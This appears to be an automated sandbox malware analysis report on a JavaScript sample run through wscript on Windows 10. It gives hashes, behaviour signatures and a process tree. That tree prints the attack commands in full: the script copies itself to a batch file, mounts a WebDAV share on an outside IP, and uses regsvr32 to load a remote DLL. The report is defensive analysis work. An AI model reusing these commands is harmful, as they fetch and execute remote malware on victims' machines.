Analysis

  • max time kernel
    94s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/07/2024, 05:35

General

  • Target

    12869127533082323652.js

  • Size

    5KB

  • MD5

    baa7ba6e56ac05e637c0a4de89677234

  • SHA1

    442b74b8c9e4343191f0e5ed98e59d42a3daba12

  • SHA256

    e3ece7d71f432bf6e8ab7f0ec71d6196b262bf05e9235a0d1e90e96f4cf8c1ad

  • SHA512

    52eb029ef8b3c98d85a01e8384a4ea853f955036d69c83af2ff55137dbcce0a3c2674570ccfc95815a89c3310a618eca81ba5eb9c4d52f952b7beef810b35508

  • SSDEEP

    96:LvMmYZTyaZyBYMIYA14gMRvU1RNMqqMx2ukxd:LvMPynYMQ1fMRvU1RCOx1kP

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\12869127533082323652.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4260
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\12869127533082323652.js" "C:\Users\Admin\\ggmvyu.bat" && "C:\Users\Admin\\ggmvyu.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1624
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:4020
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\657.dll
          3⤵
            PID:264

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\ggmvyu.bat

        Filesize

        5KB

        MD5

        baa7ba6e56ac05e637c0a4de89677234

        SHA1

        442b74b8c9e4343191f0e5ed98e59d42a3daba12

        SHA256

        e3ece7d71f432bf6e8ab7f0ec71d6196b262bf05e9235a0d1e90e96f4cf8c1ad

        SHA512

        52eb029ef8b3c98d85a01e8384a4ea853f955036d69c83af2ff55137dbcce0a3c2674570ccfc95815a89c3310a618eca81ba5eb9c4d52f952b7beef810b35508